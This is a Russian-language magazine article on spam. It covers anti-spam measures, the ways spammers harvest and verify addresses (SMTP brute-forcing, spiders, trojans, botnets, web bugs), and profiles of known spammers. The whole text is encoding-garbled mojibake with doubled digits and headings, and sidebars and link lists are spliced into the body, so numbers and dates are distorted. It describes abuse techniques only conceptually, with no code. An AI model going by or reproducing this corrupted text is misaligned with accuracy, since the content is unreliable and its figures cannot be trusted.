ìè ðåãèëè íà áåñïëàòíûõ åìåéë-ñåðâåðàõ. Ïðîöåññ
ýòîò áûë àâòîìàòè÷åñêèì. Â 11999977 ãîäó Àíäðåé
Áðîäåð ïðåäëîæèë ñïîñîá, ïðåäîòâðàùàþùèé àâ-
òîðåãèñòðàöèþ. Ïðè çàïîëíåíèè àíêåòû íà ñòðà-
íè÷êå ïîÿâëÿåòñÿ êàðòèíêà, ñîäåðæàùàÿ ñãåíåðè-
ðîâàííûé ñëó÷àéíûì îáðàçîì ðÿä ÷èñåë èëè áóêâ.
Þçåðó ïðåäëàãàåòñÿ ââåñòè ýòó ïîñëåäîâàòåëü-
íîñòü äëÿ ïðîäîëæåíèÿ ðåãèñòðàöèè. Òàê êàê ýòî �
êàðòèíêà, êîìïüþòåð íå ìîæåò ðàñïîçíàòü ÷èñëà è
áóêâû, ñäåëàòü ýòî ìîæåò òîëüêî ÷åëîâåê.
Íåêîòîðûå êîìïàíèè (òà æå Microsoft) äëÿ ïîë-
íîãî èñòðåáëåíèÿ ñïàìà, ïðåäëàãàþò ââîäèòü
ïëàòó çà îòïðàâëåíèå êàæäîãî ñîîáùåíèÿ. Ñèì-
âîëè÷åñêóþ äëÿ ÷àñòíûõ ëèö, íî âíóøèòåëüíóþ
äëÿ ñïàìåðîâ, êîòîðûå îòïðàâëÿþò ïèñüìà ìèë-
ëèîíàìè. ×òî-òî âðîäå ïî÷òîâûõ ìàðîê. Íî ñ
äðóãîé ñòîðîíû, åñëè óæå ñåé÷àñ ñïàìåðû èñ-
ïîëüçóþò äëÿ ðàññûëêè ïèñåì êîìïüþòåðû þçå-
ðîâ, íè÷òî íå ïîìåøàåò âîçëîæèòü íà ýòèõ ñà-
ìûõ þçåðîâ ïëàòó çà îòïðàâëåíèå ñîîáùåíèé.
Ïîêà ñàìûì ýôôåêòèâíûì ðåøåíèåì îñòàþòñÿ
àíòèñïàìîâûå ôèëüòðû. ×òîáû îáîéòè èõ, ñïà-
ìåðû ïðèáåãàþò ê èñïîëüçîâàíèþ ðàçíûõ òðþ-

êîâ. Íàïðèìåð, âèäîèçìåíÿþò ñëîâà, íàõîäÿùè-
åñÿ â «÷åðíîì ñïèñêå». Òàê, ñëîâî «ïîðíóøêà»
ìîæåò áûòü èçìåíåíî íà «ïðîíóøêà». Ôèëüòð
íå çàìåòèò ïîäâîõà, à ÷åëîâåê ïðî÷èòàåò çà-
øèôðîâàííîå ñëîâå÷êî èìåííî òàê, êàê íóæíî.
Ñëîâî ìîæåò áûòü íàïèñàíî ñ ðàçäåëåíèåì áóêâ
÷åðåç ïðîáåëû: «ïîð íóø êà». Èñïîëüçîâàíèå
HTML â ìåññàãàõ äàåò ñïàìåðàì áîëüøå âîç-
ìîæíîñòåé. Íàïðèìåð, åñëè âñòàâèòü â ñëîâå
ìåæäó áóêâàìè ñèìâîëû ñ öâåòîì, àíàëîãè÷íûì
ôîíîâîìó, òî ÷åëîâåê èõ íå óâèäèò, à êîìïüþ-
òåð, áåçðàçëè÷íûé ê öâåòàì, íå ñìîæåò ïðî÷è-
òàòü èñêîâåðêàííûé òåêñò. Ñïàìåðû âçÿëè íà
âîîðóæåíèå è èäåè captcha, âñòàâëÿÿ â ñâîè ñî-
îáùåíèÿ êàðòèíêè ñ òåêñòîì, ðàñïîçíàòü êîòî-
ðûé ôèëüòðû íå â ñîñòîÿíèè. Â ïîñëåäíåå âðå-
ìÿ ïîÿâèëñÿ èíòåëëåêòóàëüíûé ñïàì, â êîòîðîì,
ïîìèìî íàâÿç÷èâîé ðåêëàìû, ìîæíî âñòðåòèòü
àáçàöû èç õóäîæåñòâåííûõ êíèã è ñòèõîòâîðå-
íèé. Ýòî ïðèìåíÿåòñÿ îïÿòü æå äëÿ òîãî, ÷òîáû
ñáèòü ñ òîëêó ôèëüòðû, êîòîðûå îïðåäåëÿþò ðå-
ëåâàíòíîñòü ñëîâ â ïèñüìå. Îáðàòíûé àäðåñ òî-
æå îáðàáàòûâàåòñÿ: ñïàìåðû âñòàâëÿþò â ñòðî-
êó From àâòîìàòè÷åñêè ñãåíåðèðîâàííûå èìåíà
(òèïà John B. Slater) è ÷àñòî èñïîëüçóþò àíàëî-
ãè÷íûé ñ ïîëó÷àòåëåì äîìåí. Íàïðèìåð, ìíå
÷àñòî ïðèõîäÿò ïèñüìà ÿêîáû èç Gameland'à.

Â 11999977 ãîäó Àäàì Áýê ïðåäñòàâèë íîâóþ ñèñ-
òåìó Hashcash äëÿ áîðüáû ñî ñïàìîì è àòàêàìè
DoS. Èäåÿ çàêëþ÷àåòñÿ â òîì, ÷òî îòïðàâèòåëü
ñîîáùåíèÿ ïðèêðåïëÿåò ê øàïêå ñòðî÷êó, óêà-
çûâàþùóþ íà òî, ÷òî îí ïîòðàòèë îïðåäåëåííîå
âðåìÿ íà îòïðàâêó ïèñüìà. Íàïðèìåð, ðåøèë
ïðîñòåíüêóþ çàäà÷êó. Ïîíÿòíîå äåëî, ÷òî ñïà-
ìåðû íå ìîãóò ñåáå ïîçâîëèòü óäåëÿòü íà êàæ-
äîå ïèñüìî äàæå ïàðó ñåêóíä âðåìåíè, ïîýòîìó
hashcash ãàðàíòèðóåò, ÷òî ïèñüìà, âêëþ÷àþ-
ùèå çàâåòíóþ ñòðîêó, íå ÿâëÿþòñÿ ñïàìîì.
Ïîëíîñòüþ èçáåæàòü ñïàìà â ñâîåì ïî÷òîâîì
ÿùèêå ìîæíî äâóìÿ ñïîñîáàìè. Ïåðâûé � íèã-
äå â Èíòåðíåòå íå ïóáëèêîâàòü ýòîò ÿùèê. Äà-
æå áóäó÷è âèäîèçìåíåííûì (mindw0rk[at]game-
land.ru), îí ìîæåò áûòü ðàñïîçíàí óñîâåðøåí-
ñòâîâàííûìè ñïàìåðñêèìè áîòàìè è äîáàâëåí
â áàçó. Ïîýòîìó ðåêîìåíäóþ äëÿ ðàáîòû çàâåñ-
òè íåçàñâå÷åííûé ìûëüíèê è äîïîëíèòåëüíî
èìåòü ïàðó ÿùèêîâ äëÿ îáùèõ íóæä. Âòîðîé
ñïîñîá � íàñòðîèòü ôèëüòð, êîòîðûé áëîêèðó-
åò êàæäîå âõîäÿùåå ñîîáùåíèå, íî îòïðàâèòå-
ëþ îòñûëàåò ïèñüìî ñ ïðåäëîæåíèåì ïîäòâåð-
äèòü îòïðàâêó íàæàòèåì íà ññûëêó. Ïîñëå ýòî-
ãî ÷åëîâåê áóäåò çàíåñåí â áåëûé ñïèñîê, è âñå
äàëüíåéøèå ïèñüìà îò íåãî áóäóò áëàãîïîëó÷-
íî äîõîäèòü ïî íàçíà÷åíèþ.Þ
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Òåõíîëîãèè 
íà ñëóæáå ñïàìåðîâ

Àíòîëîãèÿ 
ñïàìà

ÊÎÃÄÀ ÊÀÆÄÛÉ ÄÅÍÜ ß ÂÛÃÐÅÁÀÞ
ÈÇ ÑÂÎÈÕ ÏÎ×ÒÎÂÛÕ ßÙÈÊÎÂ ÏÎ
200 ÏÈÑÅÌ ÐÅÊËÀÌÍÎÃÎ ÌÓÑÎÐÀ,
ÌÍÅ ÍÀ×ÈÍÀÅÒ ÊÀÇÀÒÜÑß, ×ÒÎ ÝÒÈ
ÍÀÊÀÇÀÍÈß ÑËÈØÊÎÌ ÌßÃÊÈÅ.
ÑÏÀÌ ÑÒÀË ÍÀÑÒÎßÙÅÉ ×ÓÌÎÉ XXI
ÂÅÊÀ. È, ÅÑËÈ Â ÁËÈÆÀÉØÈÅ ÏÀÐÓ
ËÅÒ ÑÏÅÖÈÀËÈÑÒÛ ÍÅ ÏÐÈÄÓÌÀÞÒ
ÝÔÔÅÊÒÈÂÍÛÉ ÑÏÎÑÎÁ ÁÎÐÜÁÛ Ñ
ÍÅÉ, ÈÍÒÅÐÍÅÒ ÆÄÓÒ ÌÐÀ×ÍÛÅ
ÂÐÅÌÅÍÀ | mindw0rk (mindw0rk@gameland.ru)

21.531 unread messages
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www.cauce.org � Êîàëèöèÿ ïðîòèâ êîììåð÷åñêîé ýëåêòðîííîé ðåêëàìû.
http://spam.abuse.net/spam � áîðöû ñî ñïàìîì â Èíòåðíåòå
www.ii.com/internet/robots/procmail/qs � ïîäáîðêà èíôû î mail-ôèëüòðàõ
www.theincrediblespammuseum.com � îíëàéíîâûé ìóçåé ñïàìà
http://st.do.homeunix.org/SpamTechniques.html?index � ïîäðîáíûé îáçîð

òåõíîëîãèé ñïàìåðîâ
http://www.faqs.org/faqs/net-abuse-faq/spam-faq � alt.spam FAQ
http://en.wikipedia.org/wiki/E-mail_spam � ñòðàíè÷êà î ñïàìå íà ñàéòå Wikipedia
www.spamlaws.com � ñïèñîê çàêîíîâ ðàçíûõ ñòðàí îòíîñèòåëüíî ñïàìà
www.spamcop.net � ìåñòî, êóäà ìîæíî ïîæàëîâàòüñÿ íà ñïàì

Ïðè ðàññûëêå ñîîáùåíèé ñïàìåðû
ïðèäåðæèâàþòñÿ òðåõ ïðàâèë: àíîíèì-
íîñòü, äåøåâèçíà è ñëîæíîñòü âûñëåæè-
âàíèÿ. Â 9900-õ ãîäàõ, ÷òîáû èçáåæàòü
îòêëþ÷åíèÿ ïðîâàéäåðà è ñêðûòü ñâîé
àäðåñ, ñïàìåðû ðàáîòàëè ÷åðåç ñèñòåìó
ïåðåàäðåñàöèè open mail relays, ïîçâî-
ëÿþùóþ îòñûëàòü ïèñüìà ëþáîìó îòï-
ðàâèòåëþ ñ ëþáîãî àäðåñà. Ïîòîì ðå-
ëåéíèêè ñòàëè ðåäêîñòüþ, è ñïàìåðû ïå-
ðåøëè íà èñïîëüçîâàíèå ïðîêñè ñåðâå-
ðîâ, ìåíÿÿ èõ êàê ïåð÷àòêè (âïðî÷åì,
êàê è ñâîèõ ïðîâàéäåðîâ). Íåïëîõèì ïî-
ìîùíèêîì ñïàìåðó òàêæå ñòàë CGI
ñêðèïò FormMail.pl, ïîçâîëÿþùèé îòñû-
ëàòü îòçûâû íà ìûëî ÷åðåç HTML-ôîð-
ìó íà ñàéòå. Åñòü ïðîãðàììû, êîòîðûå
êîððåêòèðóþò àäðåñ ïîëó÷àòåëÿ òàê, ÷òî
«îòçûâ» ñïàìåðà ïîëó÷èò íå òîëüêî àâ-
òîð ñàéòà, íî è òûñÿ÷è ëþäåé. Íåðåäêî
ñïàìåðû ñîçäàþò ñîáñòâåííûå mail-ñåð-
âåðû ñ äèíàìè÷åñêèì äèàëàï-ñîåäèíå-
íèåì. Ïðè êàæäîì êîííåêòå âûäåëÿåòñÿ
íîâûé àéïèøíèê, ÷òî óñëîæíÿåò ðàáîòó
ïðàâîîõðàíèòåëüíûì îðãàíàì. Ïðàâäà,
êðóïíûå ïðîâàéäåðû òåïåðü çàêðûâàþò
òàêèå ñåðâåðû, ïîñêîëüêó âëàäåëüöàìè
áîëüøèíñòâà ïî÷òîâûõ äèàëàï-õîñòîâ
ÿâëÿþòñÿ ñïàìåðû.
Ñïàì ñòàë ïîïóëÿðåí, ïîòîìó ÷òî ýòî ñà-
ìûé äåøåâûé âèä ðåêëàìû. Íåñìîòðÿ
íà òî, ÷òî 9999..99%% ïîëó÷àòåëåé ñðàçó
æå óäàëÿþò ðåêëàìíîå ñîîáùåíèå, âñåã-
äà îñòàåòñÿ 0.1% ëþäåé, êîòîðûå âíèìà-
òåëüíî ïðî÷èòàþò è êëþíóò íà ïðåäëî-
æåííîå. Ýòîò ïðîöåíò îêóïàåò âñå ðàñ-
õîäû, ïîòðà÷åííûå íà ðàññûëêó. Ïðè÷åì
åìåéë-ñïàìîì äåëî íå îãðàíè÷èâàåòñÿ.
Ëþáûå ïîïóëÿðíûå ïóáëè÷íûå ñåðâèñû
ìîãóò ñòàòü æåðòâîé ñïàìåðîâ, íà÷èíàÿ
èíòåðíåò-ïåéäæåðàìè òèïà ICQ, çàêàí-
÷èâàÿ âåá-áëîãàìè. Óæå íå ðåäêîñòü,
÷òî ìîáèëüíûé ñïàì, ãäå þçåðàì âûñû-
ëàþòñÿ SMS ñ ðåêëàìîé ÷åðåç èíòåðíåò-
ãåéòû, à â íåäàëåêîì áóäóùåì îæèäàåò-
ñÿ ñïàì ïî VoIP-ñåòÿì (IP-òåëåôîíèÿ).

[ñáîð àäðåñîâ è ðàññûëêà]
×òîáû ðàçîñëàòü ìèëëèîíû ñîîá-
ùåíèé, íóæíî ðàçäîáûòü ìèëëèîíû
àäðåñîâ. Äåëàþò ñïàìåðû ýòî ðàç-
íûìè ñïîñîáàìè.

ÏÎÊÓÏÊÀ ÁÁÀÇÛ ÅÅÌÅÉËÎÂ
Ýòîò ñïîñîá ñàìûé ïðîñòîé, èñïîëüçóþò åãî îáû÷íî íîâè÷êè èëè íåáîëüøèå ñïàìåðñêèå êîìïà-

íèè. Â áîëüøèíñòâå ñòðàí ïðîäàæà ýëåêòðîííûõ àäðåñîâ íåçàêîííà, íî åñòü ñòðàíû, ãäå ýòî íå çàïðå-
ùåíî. Ïðîäàâöû ðåêëàìèðóåò CD ñ áàçàìè åìåéëîâ íà ñàéòàõ, õîñòÿùèõñÿ èìåííî òàì. Êàæäûé ñèäþê
îáû÷íî ñîäåðæèò îêîëî ìèëëèîíà ïðîâåðåííûõ àäðåñîâ è ñòîèò â ðàéîíå $50. Çàêàçàòü ìîæíî ïî÷òîé
èëè ñêà÷àòü íåïîñðåäñòâåííî ñ ñàéòà, îïëàòèâ ïîêóïêó. Áàçû ñïàìåðîâ áûâàþò ñïåöèàëèçèðîâàííûå
è îáùèå. Ñïåöèàëèçèðîâàííûå ñòîÿò íàìíîãî äîðîæå, òàê êàê àäðåñà â íèõ îòñîðòèðîâàíû è âêëþ÷à-
þò òîëüêî òåõ, êòî ïîòåíöèàëüíî çàèíòåðåñîâàí â ðåêëàìèðóåìîì òîâàðå.

ÏÎÄÏÈÑÊÀ ÍÍÀ ÊÊÎÍÔÅÐÅÍÖÈÈ UUSENET
USENET ÿâëÿåòñÿ ëàêîìûì êóñêîì äëÿ ñïàìåðîâ, òàê êàê âñå ó÷àñòíèêè êîíôåðåíöèé, îñòàâëÿÿ

ñîîáùåíèÿ, çàîäíî ïóáëèêóþò ñâîé åìåéë. Äîñòàòî÷íî ïîäïèñàòüñÿ íà ñàìûå ïîïóëÿðíûå êîíôû è çà-
ïóñòèòü ïðîãðàììó, àâòîìàòè÷åñêè ñîáèðàþùóþ àäðåñà èç òåêñòîâûõ ôàéëîâ. Òàêèì æå îáðàçîì ìîæ-
íî îáðàáîòàòü êîíôåðåíöèè íà Google Groups è ðàçëè÷íûå ïîïóëÿðíûå ðàññûëêè.

ÑÊÀÍÈÐÎÂÀÍÈÅ ÕÕÎÑÒÎÂ
Íåêîòîðûå ñïàìåðû, çíàêîìûå ñ UNIX, èñïîëüçóþò ñêàíåðû ïîðòîâ äëÿ ïîèñêà ñåðâåðîâ ñ çàïó-

ùåííûì finger-ñåðâåðîì. Êàê èçâåñòíî, êîìàíäà finger â íèêñàõ äàåò äåòàëüíóþ èíôîðìàöèþ î çàøåä-
øèõ â ñèñòåìó þçåðàõ. Ñóùåñòâóþò ïðîãðàììû, êîòîðûå àâòîìàòè÷åñêè îáíîâëÿþò çàïðîñ î ïîëüçîâà-
òåëÿõ è ñîâìåùàþò ïîëó÷åííóþ èíôó (îáû÷íî äîñòàòî÷íî çíàòü çàðåãèñòðèðîâàííîå èìÿ) ñ äîìåíîì
ñåðâåðà, â ðåçóëüòàòå ÷åãî ïîëó÷àþòñÿ ðåàëüíûå àäðåñà.
Ñïîñîá ÷åòâåðòûé: áðóòôîðñ
Òåõíîëîãèÿ ïîõîæà íà ïîäáîð ïàðîëÿ ïî ñëîâàðþ, òîëüêî ïîäáèðàåòñÿ íå ïàðîëü, à ðåàëüíûå ÿùèêè 
â êðóïíîé ïî÷òîâîé ñèñòåìå. SMTP-ïðîòîêîë ïîçâîëÿåò áåç îòïðàâêè ñîîáùåíèÿ ïðîâåðÿòü, ñóùåñòâó-
åò ëè çàïðàøèâàåìûé ÿùèê. Ñïàìåðó íóæíî òîëüêî íàòðàâèòü ñïåöèàëüíóþ ïðîãðàììó íà ñïèñîê ÷àñ-
òî èñïîëüçóåìûõ èìåí (alex, mike, john è ò.ä.), êîòîðàÿ ïðåâðàòèò èõ â àäðåñà ñ äîáàâëåíèåì ñîáà÷êè 
è èìåíè äîìåíà, çàòåì àâòîìàòè÷åñêè ïðîâåðèò, êàêèå èç íèõ ðàáî÷èå. Òàê êàê ïîïóëÿðíûìè ïî÷òîâû-
ìè ñåðâèñàìè òèïà mail.ru, hotbox.com, aol.com ïîëüçóþòñÿ ìèëëèîíû ëþäåé, ïðàêòè÷åñêè ëþáîå ñëî-
âî ñëóæèò êîìó-òî ëîãèíîì. Àêòèâíûå àäðåñà áóäóò îòïðàâëåíû ñïàìåðó è äîáàâëåíû â îáùóþ áàçó.

ÑÏÀÌÁÎÒÛ
Î÷åíü ïîïóëÿðåí ìåòîä èñïîëüçîâàíèÿ ñïåöèàëüíûõ ïðîãðàìì «ïàóêîâ», êîòîðûå ðûñêàþò ïî ñàé-

òàì â ïîèñêàõ çàâåòíûõ ñëîâ ñî çíà÷êîì @. Òàê êàê þçåðû ÷àñòî îñòàâëÿþò íà ôîðóìàõ è â ãîñòåâûõ ñâîè
ðåàëüíûå ìûëüíèêè, çà äåíü óðîæàé îäíîãî òàêîãî «ïàó÷êà» ìîæåò ñîñòàâèòü ñîòíè òûñÿ÷ àäðåñîâ. 
Ìèíóñîì ÿâëÿåòñÿ òî, ÷òî ìíîãèå, ïîëó÷åííûå òàêèì îáðàçîì, å-ìåéëû äàâíî íå èñïîëüçóþòñÿ, ïîýòîìó
ïðèõîäèòñÿ äîïîëíèòåëüíî ïðîâåðÿòü êàæäûé èç íèõ. Íåðåäêî ôîêóñ ðàáîòû ïàóêîâ ñóæàþò, íàòðàâëè-
âàÿ èõ íà êîììåð÷åñêèå èëè ñïåöèàëèçèðîâàííûå ðåñóðñû. Òàê êàê ìíîãèå êîìïàíèè íà ñâîèõ ñàéòàõ
ïóáëèêóþò èíôó è êîíòàêòû ñâîèõ ñîòðóäíèêîâ, ýòî äàåò ñïàìåðàì òûñÿ÷è õàëÿâíûõ âàëèäíûõ àäðåñîâ.

ÂÈÐÓÑÛ ÈÈ ××ÅÐÂÈ
Ïîæàëóé, ñàìûé ýôôåêòèâíûé ñïîñîá, êîòîðûé ñòàë èñïîëüçîâàòüñÿ ñïàìåðàìè íå òàê äàâíî.

Åñòü ñïàìåðû, êîòîðûå ïàðàçèòèðóþò íà ÷óæèõ âèðÿõ, áîëåå ïðîäâèíóòûå ÷åëû ñîçäàþò è ðàñïðîñòðà-
íÿþò èõ ñàìè. Ïðåäñòàâèòåëè ïåðâîé êàòåãîðèè, ïîñëå ýïèäåìèè òàêèõ âèðåé, êàê SoBig è MiMail, ñêà-
íèðóþò ïîðòû â ïîèñêàõ çàðàæåííûõ ìàøèí è, âîñïîëüçîâàâøèñü îòêðûòîé äûðêîé, îñòàâëÿþò â ñèñ-
òåìå òðîÿí. Îí êîïèðóåò àäðåñà èç ïàïêè «Âõîäÿùèå» óñòàíîâëåííîãî ìåéëåðà è îòïðàâëÿåò èõ íà óäà-
ëåííûé àäðåñ. Êîìïüþòåðíûå ÷åðâè ÷àùå èñïîëüçóþòñÿ íå äëÿ ñáîðà àäðåñîâ, à äëÿ ñîçäàíèÿ áîò-ñå-
òåé èç ìàøèí «çîìáè». Òàêèì îáðàçîì, ðàññûëàòü ðåêëàìíûé òðýø áóäåò óæå íå ñïàìåð, à ïðîñòûå
ïîëüçîâàòåëè, êîìïüþòåðû êîòîðûõ â ôîíå ïîëó÷àþò èíñòðóêöèè ñ ñåðâåðà è îòïðàâëÿþò ñïàì äðóãèì
þçåðàì. ×åðåç îäèí êîìïüþòåð-çîìáè ìîæåò ïðîõîäèòü ìèëëèîíû ïèñåì â íåäåëþ, ãàðàíòèðóÿ ïðè
ýòîì áåçîïàñíîñòü ñïàìåðà.
Âàæíîé ÷àñòüþ ðàáîòû ñïàìåðîâ ÿâëÿåòñÿ ïðîâåðêà ïîëó÷åíèÿ þçåðîì ðåêëàìû.  Ïðîñòåéøèé ñïîñîá
� äîáàâèòü â ñîîáùåíèå ñòðî÷êó Return-Receipt-To: spammer@spam.net, êîòîðàÿ äîñòàâèò óâåäîìëåíèå
î òîì, ÷òî ìåññàãà ïîëó÷åíà. Ïðàâäà, ðàáîòàåò ýòî íå âî âñåõ ìåéëåðàõ, äà è íåêîòîðûå ïðåäïî÷èòàþò
îòêëþ÷àòü ïóíêò ñ óâåäîìëåíèåì â íàñòðîéêàõ. Äðóãîé ñïîñîá � çàñòàâèòü þçåðà ñàìîñòîÿòåëüíî îòâå-
òèòü íà ïèñüìî. Íàïðèìåð, òåáå ìîæåò ïðèéòè òàêîé ïåðë: «Âû ïîëó÷èëè ýòî ñîîáùåíèå, òàê êàê ïîäïè-
ñàíû íà íàøó åæåäíåâíóþ õðèñòèàíñêóþ ðàññûëêó. Åñëè âû íå õîòèòå ïîëó÷àòü íîâûå âûïóñêè � âû ìî-
æåòå îòïèñàòüñÿ, íàæàâ íà ýòó ññûëêó». Êàê òîëüêî òû íàæèìàåøü íà ëèíê, òâîé àäðåñ â áàçå ñïàìåðà
àâòîìàòè÷åñêè ïîìå÷àåòñÿ êàê «ïðîâåðåííûé». Äóìàþ, òû, êàê è ÿ, ïîëó÷àë ïèñüìà ñ âîïðîñîì: «Çà÷åì
âû ïðèñëàëè ìíå ýòó ôîòîãðàôèþ?». Íåïîäãîòîâëåííûé ÷åëîâåê îòâåòèò: «Êàêóþ ôîòîãðàôèþ?» è òåì
ñàìûì âûäàñò ðåàëüíîñòü ñâîåãî ÿùèêà. Ëþáèìûì òðþêîì ñïàìåðîâ äëÿ ïðîâåðêè àäðåñîâ ÿâëÿåòñÿ
èñïîëüçîâàíèå Web Bug. Òàê íàçûâàþò ñêðûòûé ÿðëûê â HTML-ïèñüìå, àâòîìàòè÷åñêè ïîäãðóæàþùèé
ñ ñåðâåðà êðîøå÷íîå èçîáðàæåíèå ðàçìåðîì 1x1 ïèêñåëü è ðàáîòàþùèé ïî ïðèíöèïó áàííåðîâ. Ñàì
ôàêò òîãî, ÷òî êàðòèíêà áûëà ñêà÷àíà êîìïüþòåðîì þçåðà, ãîâîðèò î òîì, ÷òî îí ïîëó÷èë ïèñüìî.
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[èçâåñòíûå ñïàìåðû] Èìåíà ñïàìåðîâ
îáû÷íî íåèçâåñòíû, òàê êàê îíè òùàòåëüíî
ñêðûâàþò ëþáóþ èíôîðìàöèþ î ñåáå è íå ñâå-
òÿòñÿ â èíåòå. Íî íåñêîëüêî êðóïíûõ èãðîêîâ
âñå-òàêè îêàçàëèñü íà âèäó. Ðàññêàæó òåáå î
òðåõ ñàìûõ ÿðêèõ èç íèõ.

ÑÝÍÔÎÐÄ ÓÓÎËËÝÑ
Ñàìîïðîâîçãëàøåííûé êîðîëü ñïàìà è ñàìûé
íåíàâèñòíûé â Àìåðèêå êîíöà 9900-õ ñïàìåð.
Â 11999955 ãîäó âìåñòå ñî ñâîèì ïàðòíåðîì
Óîëòîì Ðàéíñîì îñíîâàë êîìïàíèþ Cyber
Promotions, ñïåöèàëèçèðóþùóþñÿ íà ðàññûë-
êå ðåêëàìû ïî åìåéë. À ïîñëå ïðîâåäåíèÿ àã-
ðåññèâíîé ìàðêåòèíãîâîé êàìïàíèè â Èíòåð-
íåòå, áûñòðî çàíÿë ëèäèðóþùèå ïîçèöèè 
â ýòîé îáëàñòè, ñòàâ çàîäíî ãëàâíûì ïîñòàâ-
ùèêîì àäðåñîâ äëÿ îñòàëüíûõ ñïàìåðîâ.
Cyberpromo íå ïðîñòî çàðàáàòûâàëà íà ñïàìå
äåíüãè, îíà ðàçðàáàòûâàëà íîâûå ïðèåìû îáõî-
äà ôèëüòðîâ è òåõíîëîãèè, ïîçâîëÿþùèå ïîâû-
ñèòü ýôôåêòèâíîñòü ðàññûëîê. Ôàëüøèâûå îá-
ðàòíûå àäðåñà, ðåòðàíñëÿöèÿ, ìíîæåñòâåííàÿ

àäðåñàöèÿ � ýòè è äðóãèå òåõíèêè áûëè èçîáðå-
òåíû â êîìïàíèè Óîëëýñà è â äàëüíåéøåì èñ-
ïîëüçîâàëèñü âåäóùèìè ñïàìåðñêèìè êîíòîðà-
ìè. Â 11999966 ãîäó Ñýíôîðä íàñòîëüêî îñìåëåë,
÷òî ïîäàë â ñóä íà êðóïíåéøåãî àìåðèêàíñêîãî
ïðîâàéäåðà America Online çà òî, ÷òî îí áëîêèðî-
âàë, ïîñòóïàþùèå îò CyberPromo, ïèñüìà. Ñóä
çàÿâëåíèå îòêëîíèë, à â ñëåäóþùåì ãîäó óæå
AOL, à òàêæå ìíîãèå äðóãèå ISP ÑØÀ ïîäàëè èñê
íà êîìïàíèþ Óîëëýñà. Â îòâåò íà ýòî, Ñýíôîðä
ïîîáåùàë ñîçäàòü ñîáñòâåííóþ ôèðìó-ïðîâàé-
äåð è êîîðäèíèðîâàòü ñâîè ðàññûëêè ÷åðåç íåå.
Íî ñäåëàòü ýòî íå óñïåë. Â àïðåëå 9988-ãî ãîäà
«êîðîëü ñïàìà» îáúÿâèë î ñâîåì óõîäå èç ñïàì-
ìåðñêîãî áèçíåñà ñ öåëüþ ñîçäàòü ëåãàëüíóþ
Opt-in êîìïàíèþ (opt-in ïîäðàçóìåâàåò, ÷òî ðåê-
ëàìíàÿ ðàññûëêà ïðîâîäèòñÿ ñ ñîãëàñèÿ ïîëüçî-
âàòåëåé). Íèêòî íå âåðèë â åãî ÷èñòûå ïîìûñëû
è ñâÿçûâàòüñÿ ñ åãî íîâîé êîíòîðîé íå õîòåë, ïî-
ýòîìó êîìïàíèÿ áûñòðî çàêðûëàñü. Äàëüíåéøàÿ
äåÿòåëüíîñòü Ñýíôîðäà Óîëëýñà áûëà ñâÿçàíà ñ
ðåêëàìîé ñåòåâîé ïîðíîãðàôèè, à ïîçæå ñ åãî
íîâîé êîìïàíèåé SmartBOT, êîòîðàÿ ðàñïðîñò-

ðàíÿëà òðîÿíû è ïðåäëàãàëà çà $3300 áûñòðîå ðå-
øåíèå ïî èõ óñòðàíåíèþ. Â ÿíâàðå 22000055 ãîäà
íà SmartBOT ïîäàëè èñê, è Óîëëýñó ïðèøëîñü
ñâåðíóòü ñâîé òðîÿíñêèé áèçíåñ. Êàêèìè áóäóò
ñëåäóþùèå ïðîåêòû êîðîëÿ, íèêòî íå ðåøàåòñÿ
ïðåäñêàçàòü.

ÀËÀÍ ÐÐÀËÜÑÊÈÉ
Åùå îäèí êîðîëü ñïàìà, êîòîðîãî ñåòåâûå àíà-
ëèòèêè ñ÷èòàþò ñàìûì ïëîäîâèòûì ñïàìåðîì â
èñòîðèè. Â 8800-õ ãîäàõ îí çàíèìàëñÿ íå ñîâñåì
çàêîííûì ñòðàõîâàíèåì, íà ÷åì çàðàáàòûâàë
550000 òûñÿ÷ äîëëàðîâ â ãîä. Â íà÷àëå 9900-õ ïî-
ïàëñÿ íà ôàëüñèôèêàöèè áàíêîâñêèõ äîêóìåí-
òîâ, ïîëó÷èë òðè ãîäà óñëîâíî è ëèøèëñÿ ëèöåí-
çèè. Îñòàâøèñü íè ñ ÷åì, Ðàëüñêèé ïðîäàë ñâîþ
ñòàðåíüêóþ ìàøèíó è êóïèë 2 êîìïüþòåðà, ÷òî-
áû ïîïðîáîâàòü ñåáÿ â êîìïüþòåðíîì áèçíåñå.
Ñàìûì èíòåðåñíûì è ïðèáûëüíûì îêàçàëîñü
ðàññûëàòü ðåêëàìíûå ñîîáùåíèÿ, ÷åì îí,
ñîáñòâåííî, è çàíÿëñÿ. È ê êîíöó 9900-õ ñòàë îä-
íèì èç ñàìûõ âëèÿòåëüíûõ ñïàìåðîâ â ìèðå.
Â 22000022 ãîäó Àëàí äàë èíòåðâüþ ãàçåòå The

«êîðîëü ñïàìà» Àëàí Ðàëüñêèéäîì Àëàíà ñïàìåðñêàÿ áàçà àäðåñîâ

ñïàìåðñêàÿ ïðîãà ñïîñîá ïîèñêà àäðåñîâ ÷åðåç áðóòôîðñ ñïèñîê ñïàìåðîâ

ÈÍÒÅÐÅÑÍÛÅ ÔÔÀÊÒÛ ÎÎ ÑÑÏÀÌÅ
Êàæäûé äåíü ñïàìåðû îòïðàâëÿþò îêîëî 30 ìèëëèàðäîâ ñîîáùåíèé.
90% äîëè ìèðîâîãî ñïàìà ñîñòàâëÿþò ðàññûëêè 150 ñïàìåðîâ.
Ñïàìåðñêîé Ìåêêîé ÿâëÿåòñÿ ÑØÀ (îñîáåííî Ôëîðèäà), 
îòêóäà ïîñòóïàåò îñíîâíàÿ ÷àñòü âñåé ðåêëàìû. Âòîðîå ìåñòî çàíèìàåò Êèòàé.
Ñàìûì ïîïóëÿðíûì âèäîì ñïàìà ÿâëÿþòñÿ ïèñüìà, ñîäåðæàùèå ïðåäëîæåíèå áûñòðî ðàçáîãàòåòü (37%). 
Ñëåäîì èäåò ðåêëàìà ïîðíî-êîíòåíòà (25%), ñîôòâàðíûå ïðåäëîæåíèÿ (18%) è ëèíêè íà âåá-ñàéòû (6%).
Íà äàííûé ìîìåíò â ðóíåòå êîëè÷åñòâî ñïàìà ñîñòàâëÿåò 80% îò âñåõ ïèñåì.
Ïåðâûì ñïàìåðîì, êîòîðîãî ïðèãîâîðèëè ê òþðåìíîìó çàêëþ÷åíèþ, ñòàë Ãîâàðä Êàðìàê, êîòîðûé 
â 2003 ãîäó ðàçîñëàë 825 ìèëëèîíîâ ðåêëàìíûõ ñîîáùåíèé. Òàê êàê àìåðèêàíñêèé çàêîí î íåëåãàëüíîñòè 
